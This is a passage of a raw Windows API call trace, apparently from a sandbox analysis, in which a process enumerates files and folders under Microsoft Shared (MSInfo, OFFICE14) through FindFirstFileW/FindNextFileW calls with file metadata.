FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\*", lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc08 [0217.979] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.979] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0217.979] GetProcessHeap () returned 0x560000 [0217.979] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2ba9a68 [0217.979] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bbc8 [0217.979] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.979] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0a09f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca0a09f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe.mui", cAlternateFileName="")) returned 1 [0217.980] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0a09f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca0a09f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe.mui", cAlternateFileName="")) returned 0 [0217.980] FindClose (in: hFindFile=0x65bbc8 | out: hFindFile=0x65bbc8) returned 1 [0217.980] GetProcessHeap () returned 0x560000 [0217.980] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0217.980] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x830a4e7c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x830a4e7c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x830cafdd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5c800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 1 [0217.980] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x830a4e7c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x830a4e7c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x830cafdd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5c800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 0 [0217.980] FindClose (in: hFindFile=0x65bc08 | out: hFindFile=0x65bc08) returned 1 [0217.980] GetProcessHeap () returned 0x560000 [0217.981] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b99a60 | out: hHeap=0x560000) returned 1 [0217.981] FindNextFileW (in: hFindFile=0x593f80, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5d93940, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE14", cAlternateFileName="")) returned 1 [0217.981] GetProcessHeap () returned 0x560000 [0217.981] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2b99a60 [0217.981] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*", lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5d93940, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc08 [0218.308] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5d93940, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0218.308] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24d0020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0218.308] GetProcessHeap () returned 0x560000 [0218.309] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2ba9a68 [0218.309] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24d0020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bbc8 [0218.314] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24d0020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0218.315] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81925f00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x81925f00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0x305a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEINTL.DLL", cAlternateFileName="")) returned 1 [0218.315] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0xcdb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODBCI.DLL", cAlternateFileName="")) returned 1 [0218.315] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x51d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACERECR.DLL", cAlternateFileName="")) returned 1 [0218.315] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81925f00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x81925f00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0xd2990, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEWSTR.DLL", cAlternateFileName="")) returned 1 [0218.315] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f139500, ftCreationTime.dwHighDateTime=0x1c69359, ftLastAccessTime.dwLowDateTime=0xee2ce510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7f139500, ftLastWriteTime.dwHighDateTime=0x1c69359, nFileSizeHigh=0x0, nFileSizeLow=0x19a3ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADO210.CHM", cAlternateFileName="")) returned 1 [0218.316] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b06d00, ftCreationTime.dwHighDateTime=0x1ca9127, ftLastAccessTime.dwLowDateTime=0xee2ce510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe4b06d00, ftLastWriteTime.dwHighDateTime=0x1ca9127, nFileSizeHigh=0x0, nFileSizeLow=0x25b50, dwReserved0=0x0, dwReserved1=0x0, cFileName="ALRTINTL.DLL", cAlternateFileName="")) returned 1 [0218.316] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5e15000, ftCreationTime.dwHighDateTime=0x1cbf3e5, ftLastAccessTime.dwLowDateTime=0xc24a9ec0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe5e15000, ftLastWriteTime.dwHighDateTime=0x1cbf3e5, nFileSizeHigh=0x0, nFileSizeLow=0x269380, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.DLL", cAlternateFileName="")) returned 1 [0218.316] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b30dd00, ftCreationTime.dwHighDateTime=0x1cac9ab, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5b30dd00, ftLastWriteTime.dwHighDateTime=0x1cac9ab, nFileSizeHigh=0x0, nFileSizeLow=0xd980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.DLL.IDX_DLL", cAlternateFileName="MSOINT~1.IDX")) returned 1 [0218.316] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c620a00, ftCreationTime.dwHighDateTime=0x1cac9ab, ftLastAccessTime.dwLowDateTime=0xeee8f1b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5c620a00, ftLastWriteTime.dwHighDateTime=0x1cac9ab, nFileSizeHigh=0x0, nFileSizeLow=0x152f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.REST.IDX_DLL", cAlternateFileName="MSOINT~2.IDX")) returned 1 [0218.317] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15d97a00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0xeeedb470, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x15d97a00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0xa388, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSOAPR3.DLL", cAlternateFileName="")) returned 1 [0218.317] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x356f9800, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x356f9800, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x2d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="OARPMANR.DLL", cAlternateFileName="")) returned 1 [0218.317] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d183e00, ftCreationTime.dwHighDateTime=0x1ca520c, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4d183e00, ftLastWriteTime.dwHighDateTime=0x1ca520c, nFileSizeHigh=0x0, nFileSizeLow=0x795, dwReserved0=0x0, dwReserved1=0x0, cFileName="README.HTM", cAlternateFileName="")) returned 1 [0218.317] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb401ca00, ftCreationTime.dwHighDateTime=0x1cbdec9, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb401ca00, ftLastWriteTime.dwHighDateTime=0x1cbdec9, nFileSizeHigh=0x0, nFileSizeLow=0x19b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="xlsrvintl.dll", cAlternateFileName="XLSRVI~1.DLL")) returned 1 [0218.317] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb401ca00, ftCreationTime.dwHighDateTime=0x1cbdec9, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb401ca00, ftLastWriteTime.dwHighDateTime=0x1cbdec9, nFileSizeHigh=0x0, nFileSizeLow=0x19b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="xlsrvintl.dll", cAlternateFileName="XLSRVI~1.DLL")) returned 0 [0218.318] FindClose (in: hFindFile=0x65bbc8 | out: hFindFile=0x65bbc8) returned 1 [0218.320] GetProcessHeap () returned 0x560000 [0218.320] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0218.320] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x703dbc00, ftCreationTime.dwHighDateTime=0x1cbdfc0, ftLastAccessTime.dwLowDateTime=0xd80a4ee0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x703dbc00, ftLastWriteTime.dwHighDateTime=0x1cbdfc0, nFileSizeHigh=0x0, nFileSizeLow=0x310788, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACECORE.DLL", cAlternateFileName="")) returned 1 [0218.320] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd80f11a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xb5db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEDAO.DLL", cAlternateFileName="")) returned 1 [0218.321] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81925f00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0x51128590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81925f00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0xa990, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEERR.DLL", cAlternateFileName="")) returned 1 [0218.321] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd8117300, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xf73a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEES.DLL", cAlternateFileName="")) returned 1 [0218.321] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd8117300, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x6bfa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEEXCH.DLL", cAlternateFileName="")) returned 1 [0218.321] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd813d460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xdbb98, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEEXCL.DLL", cAlternateFileName="")) returned 1 [0218.321] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95c9c200, ftCreationTime.dwHighDateTime=0x1cba070, ftLastAccessTime.dwLowDateTime=0xd813d460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x95c9c200, ftLastWriteTime.dwHighDateTime=0x1cba070, nFileSizeHigh=0x0, nFileSizeLow=0x53bb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODBC.DLL", cAlternateFileName="")) returned 1 [0218.322] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0x51128590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x3db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODDBS.DLL", cAlternateFileName="")) returned 1 [0218.322] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0x5e99f630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x3db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODEXL.DLL", cAlternateFileName="")) returned 1 [0218.322] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0x5e99f630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x3db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODTXT.DLL", cAlternateFileName="")) returned 1 [0218.322] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd8189720, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x833a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEOLEDB.DLL", cAlternateFileName="")) returned 1 [0218.322] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96faef00, ftCreationTime.dwHighDateTime=0x1cba070, ftLastAccessTime.dwLowDateTime=0xd8247e00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x96faef00, ftLastWriteTime.dwHighDateTime=0x1cba070, nFileSizeHigh=0x0, nFileSizeLow=0x6e398, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACER3X.DLL", cAlternateFileName="")) returned 1 [0218.323] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95c9c200, ftCreationTime.dwHighDateTime=0x1cba070, ftLastAccessTime.dwLowDateTime=0xd826df60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x95c9c200, ftLastWriteTime.dwHighDateTime=0x1cba070, nFileSizeHigh=0x0, nFileSizeLow=0xd9c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACERCLR.DLL", cAlternateFileName="")) returned 1 [0218.323] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d59d00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd826df60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x35d59d00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xa8da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEREP.DLL", cAlternateFileName="")) returned 1 [0218.323] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d59d00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd82940c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x35d59d00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x48990, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACETXT.DLL", cAlternateFileName="")) returned 1 [0218.323] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1092c00, 